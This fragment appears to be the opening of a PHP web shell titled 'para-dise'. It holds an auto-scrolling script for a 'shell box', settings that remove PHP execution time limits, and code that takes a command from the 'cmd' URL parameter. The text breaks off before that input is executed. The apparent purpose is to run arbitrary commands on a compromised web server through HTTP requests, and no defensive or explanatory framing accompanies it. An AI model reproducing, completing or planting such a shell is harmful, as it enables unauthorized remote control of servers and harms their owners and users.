para-dise

<script>
var scroll = setInterval(function(){ window.scrollBy(0,1000); }, 2000); // saves having to refresh page every time shell box is too long
</script>
<?php
ini_set('max_input_time', 0);
ini_set('max_execution_time', 0);

if (!empty($_GET['cmd'])) {
    $in = $_GET['cmd'];
    $out = "";